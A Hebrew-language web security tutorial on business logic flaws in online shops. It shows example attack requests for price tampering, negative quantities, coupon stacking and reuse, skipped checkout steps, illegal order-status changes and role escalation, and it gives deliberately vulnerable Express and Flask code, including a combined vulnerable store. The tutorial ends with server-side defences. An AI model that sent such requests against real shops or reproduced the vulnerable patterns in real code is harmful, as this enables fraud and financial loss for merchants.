לדלג לתוכן

פגמים בלוגיקה עסקית - Business Logic Flaws

מהם פגמים בלוגיקה עסקית

פגמי לוגיקה עסקית (Business Logic Flaws) הם חולשות שנובעות מפגמים בתכנון ולא מבעיות טכניות. בניגוד ל-SQLi או XSS שבהם הבעיה היא בטיפול בקלט, כאן הקוד עובד בדיוק כמו שתוכנן - אבל התכנון עצמו שגוי.

חולשות אלו קשות לגילוי אוטומטי כי סורקים מחפשים בעיות טכניות. נדרשת הבנה עמוקה של הלוגיקה העסקית כדי למצוא אותן.


מניפולציית מחירים - Price Manipulation

שינוי מחיר בבקשה

אפליקציות שסומכות על הלקוח לשלוח את המחיר:

POST /cart/add HTTP/1.1
Host: shop.example.com
Content-Type: application/json

{
    "productId": 42,
    "quantity": 1,
    "price": 999.99
}

תקיפה - שינוי המחיר:

POST /cart/add HTTP/1.1
Host: shop.example.com
Content-Type: application/json

{
    "productId": 42,
    "quantity": 1,
    "price": 0.01
}

קוד פגיע:

app.post('/cart/add', (req, res) => {
    const { productId, quantity, price } = req.body;

    // Vulnerable! trusts the price from the client
    cart.addItem({
        productId,
        quantity,
        unitPrice: price,
        total: price * quantity
    });

    res.json({ success: true });
});

כמויות שליליות

POST /cart/add HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded

productId=1&quantity=-10&price=100

תוצאה: סך העגלה הופך לשלילי, מה שעלול לגרום לזיכוי:

// Vulnerable - no positive-quantity check
app.post('/cart/add', (req, res) => {
    const product = db.getProduct(req.body.productId);
    const quantity = parseInt(req.body.quantity);
    const total = product.price * quantity;  // 100 * (-10) = -1000

    cart.addItem({ productId: product.id, quantity, total });
    // Cart total: -1000. The payment will "refund" money!
});

גלישת מספר שלם - Integer Overflow

POST /cart/update HTTP/1.1
Host: shop.example.com

productId=1&quantity=2147483647

בשפות עם מספרים שלמים קבועי גודל, ערך גדול מדי גולש ונהפך לשלילי:

// In C or languages with integer overflow
int quantity = 2147483647;  // MAX_INT
int price = 2;
int total = quantity * price;  // overflow! total = -2

הexploit קופונים והנחות - Coupon/Discount Abuse

ערימת קופונים - Coupon Stacking

POST /cart/apply-coupon HTTP/1.1

code=SAVE10

POST /cart/apply-coupon HTTP/1.1

code=WELCOME20

POST /cart/apply-coupon HTTP/1.1

code=VIP30

קוד פגיע שלא מגביל מספר קופונים:

@app.route('/apply-coupon', methods=['POST'])
def apply_coupon():
    code = request.form['code']
    coupon = Coupon.query.filter_by(code=code).first()

    if not coupon:
        return jsonify({'error': 'Invalid coupon'}), 400

    # Vulnerable - no check of how many coupons were already applied
    cart = get_user_cart()
    cart.discounts.append(coupon)
    cart.total -= coupon.amount

    db.session.commit()
    return jsonify({'new_total': cart.total})

החלת הנחה אחרי שינוי מחיר

  1. הוספת מוצר זול (10 דולר) לעגלה
  2. החלת קופון 50% (הנחה = 5 דולר)
  3. שינוי המוצר בעגלה למוצר יקר (1000 דולר)
  4. ההנחה עדיין חלה - אבל האם היא 5 דולר או 50%?
// Vulnerable - the discount is stored as a percentage but not recalculated
app.post('/cart/update-item', (req, res) => {
    const item = cart.getItem(req.body.itemId);
    const newProduct = db.getProduct(req.body.newProductId);

    // Updates the product but does not recalculate discounts
    item.productId = newProduct.id;
    item.price = newProduct.price;
    // item.discount did not change!

    cart.save();
});

שימוש חוזר בקוד חד-פעמי

POST /cart/apply-coupon HTTP/1.1

code=ONETIME50

HTTP/1.1 200 OK
{"message": "50% discount applied"}

-- remove the coupon --

POST /cart/remove-coupon HTTP/1.1

code=ONETIME50

-- reapply --

POST /cart/apply-coupon HTTP/1.1

code=ONETIME50

HTTP/1.1 200 OK
{"message": "50% discount applied"}

הקוד בודק אם הקופון שומש - אבל הסרה ושימוש מחדש עוקפת את הבדיקה.


הbypass תהליכי עבודה - Workflow Bypass

דילוג על שלבים בתהליך מרובה שלבים

תהליך רכישה תקין:

Step 1: POST /cart/review      -> select products
Step 2: POST /cart/shipping     -> enter address
Step 3: POST /cart/payment      -> payment
Step 4: POST /cart/confirm      -> final confirmation

תקיפה - דילוג ישירות לאישור:

Step 1: POST /cart/review       -> select products
Step 4: POST /cart/confirm      -> confirm with no payment!

קוד פגיע:

@app.route('/cart/confirm', methods=['POST'])
def confirm_order():
    cart = get_user_cart()

    # Vulnerable - no check that the payment was made
    order = Order.create(
        items=cart.items,
        total=cart.total,
        status='confirmed'
    )

    cart.clear()
    return jsonify({'order_id': order.id})

הexploit מכונת מצבים - State Machine Abuse

גישה למצבים שלא אמורים להיות נגישים:

Valid state: PENDING -> APPROVED -> SHIPPED -> DELIVERED
Attack:      PENDING -> DELIVERED  (skipping APPROVED and SHIPPED)
POST /order/update-status HTTP/1.1

orderId=12345&status=DELIVERED
@app.route('/order/update-status', methods=['POST'])
def update_status():
    order = Order.query.get(request.form['orderId'])
    new_status = request.form['status']

    # Vulnerable - no valid state transition check
    order.status = new_status
    db.session.commit()

    if new_status == 'REFUNDED':
        refund_payment(order)  # refunds an order that was never paid for!

    return jsonify({'success': True})

פגמים באמון מרומז - Implicit Trust Flaws

אמון בולידציה צד-לקוח

<!-- Validation on the client side only -->
<form id="updateProfile">
    <input name="email" type="email" required>
    <input name="name" maxlength="50">
    <!-- Hidden field that is sent automatically -->
    <input name="role" type="hidden" value="user">
    <button type="submit">Update</button>
</form>

תקיפה - שינוי השדה הנסתר:

POST /profile/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email=attacker@evil.com&name=Hacker&role=admin

הסלמת הרשאות דרך עדכון פרופיל

app.post('/profile/update', (req, res) => {
    const userId = req.session.userId;

    // Vulnerable - updates every field that was sent, without filtering
    User.findByIdAndUpdate(userId, req.body);

    res.json({ success: true });
});

בקשה זדונית:

POST /profile/update HTTP/1.1
Content-Type: application/json

{
    "name": "Normal User",
    "email": "user@example.com",
    "role": "admin",
    "isVerified": true,
    "balance": 999999
}

הexploit עיגול מטבע - Currency Rounding Exploitation

# Product price: $0.01
# Quantity: 1
# Discount: 50%

price = 0.01
discount = 0.5
discounted_price = price * (1 - discount)  # $0.005

# Rounds down -> $0.00
# The product is free!

# Attack: buy products at $0.005 that round to $0.00
# then sell them back at $0.01
@app.route('/purchase', methods=['POST'])
def purchase():
    item_price = 0.01
    quantity = int(request.form['quantity'])
    discount = get_user_discount()  # 0.5 = 50%

    # Vulnerable - rounding favors the buyer
    total = round(item_price * quantity * (1 - discount), 2)
    # 0.01 * 1 * 0.5 = 0.005 -> round(0.005, 2) = 0.0

    if total <= user.balance:
        user.balance -= total  # subtracts 0 from the balance
        add_items_to_inventory(user, quantity)

מניפולציית מלאי - Inventory Manipulation

-- add 1000 items to the cart (drains the stock)
POST /cart/add HTTP/1.1
productId=1&quantity=1000

-- product stock: 0. no one else can buy

-- wait until the price drops

-- update the quantity to one item and buy at the discounted price
POST /cart/update HTTP/1.1
productId=1&quantity=1

הexploit מערכת הפניות - Referral System Abuse

-- create an account with our own referral link
POST /register HTTP/1.1

email=user1@temp.com&referralCode=MY_CODE

-- both sides get a bonus
-- repeat the process with temporary addresses
POST /register HTTP/1.1

email=user2@temp.com&referralCode=MY_CODE

POST /register HTTP/1.1

email=user3@temp.com&referralCode=MY_CODE

קוד פגיע:

app.post('/register', async (req, res) => {
    const user = await User.create(req.body);

    if (req.body.referralCode) {
        const referrer = await User.findOne({
            referralCode: req.body.referralCode
        });

        // Vulnerable - no check that the referrer and registrant are different people
        // No limit on the number of referrals
        if (referrer) {
            referrer.balance += 10;  // bonus for the referrer
            user.balance += 5;      // bonus for the registrant
            await referrer.save();
        }
    }

    await user.save();
    res.json({ success: true });
});

דוגמה מקיפה - חנות מקוונת פגיעה

const express = require('express');
const app = express();

// Product model
const products = {
    1: { name: 'Laptop', price: 1500, stock: 10 },
    2: { name: 'Phone', price: 800, stock: 20 },
    3: { name: 'Cable', price: 5, stock: 100 }
};

// Vulnerability 1: no server-side price validation
app.post('/api/cart/add', (req, res) => {
    const { productId, quantity, price } = req.body;
    cart.items.push({ productId, quantity, unitPrice: price });
    res.json({ success: true });
});

// Vulnerability 2: no negative-quantity check
app.post('/api/cart/update', (req, res) => {
    const item = cart.getItem(req.body.itemId);
    item.quantity = req.body.quantity;  // can be negative!
    cart.recalculateTotal();
    res.json({ total: cart.total });
});

// Vulnerability 3: unlimited coupon stacking
app.post('/api/cart/coupon', (req, res) => {
    const coupon = getCoupon(req.body.code);
    if (coupon) {
        cart.appliedCoupons.push(coupon);
        cart.total -= coupon.discount;
    }
    res.json({ total: cart.total });
});

// Vulnerability 4: order confirmation without a payment check
app.post('/api/order/confirm', (req, res) => {
    const order = createOrder(cart);
    order.status = 'confirmed';
    cart.clear();
    res.json({ orderId: order.id });
});

// Vulnerability 5: status update without a valid-transition check
app.post('/api/order/status', (req, res) => {
    const order = getOrder(req.body.orderId);
    order.status = req.body.status;
    if (req.body.status === 'refunded') {
        refundUser(order.userId, order.total);
    }
    res.json({ success: true });
});

הגנות

ולידציה בצד שרת לכל כלל עסקי

app.post('/cart/add', (req, res) => {
    const product = db.getProduct(req.body.productId);

    // Protected - the price is taken from the database, not from the client
    const price = product.price;

    // Quantity validation
    const quantity = parseInt(req.body.quantity);
    if (quantity <= 0 || quantity > product.stock) {
        return res.status(400).json({ error: 'Invalid quantity' });
    }

    cart.addItem({
        productId: product.id,
        quantity,
        unitPrice: price,
        total: price * quantity
    });
});

בדיקת מעברי מצב חוקיים

VALID_TRANSITIONS = {
    'PENDING': ['APPROVED', 'CANCELLED'],
    'APPROVED': ['SHIPPED', 'CANCELLED'],
    'SHIPPED': ['DELIVERED'],
    'DELIVERED': ['REFUNDED'],
    'CANCELLED': [],
    'REFUNDED': []
}

def update_order_status(order, new_status):
    if new_status not in VALID_TRANSITIONS.get(order.status, []):
        raise ValueError(
            f'Invalid transition: {order.status} -> {new_status}'
        )
    order.status = new_status

הגבלת קופונים

def apply_coupon(cart, code):
    # Check that not too many coupons were applied
    if len(cart.applied_coupons) >= MAX_COUPONS:
        raise ValueError('Maximum coupons reached')

    # Check that the coupon wasn't used
    if code in cart.applied_coupons:
        raise ValueError('Coupon already applied')

    # Check that the coupon is valid
    coupon = Coupon.query.filter_by(
        code=code,
        is_active=True
    ).first()

    if not coupon or coupon.expiry < datetime.now():
        raise ValueError('Invalid or expired coupon')

    cart.applied_coupons.append(code)
    cart.recalculate_total()

סיכום

פגמי לוגיקה עסקית דורשים חשיבה יצירתית ולא כלים טכניים. הנקודות המרכזיות:

  • בדקו כל הנחה שהאפליקציה עושה לגבי התנהגות המשתמש
  • נסו כמויות שליליות, ערכים קיצוניים, ודילוג על שלבים
  • חפשו שדות נסתרים שניתן לשנות
  • בדקו אם ולידציה מתבצעת בצד הלקוח בלבד
  • מפו את כל מעברי המצב האפשריים ובדקו מעברים לא חוקיים
  • הגנה: ולידציה בצד שרת לכל כלל עסקי, ללא יוצא מן הכלל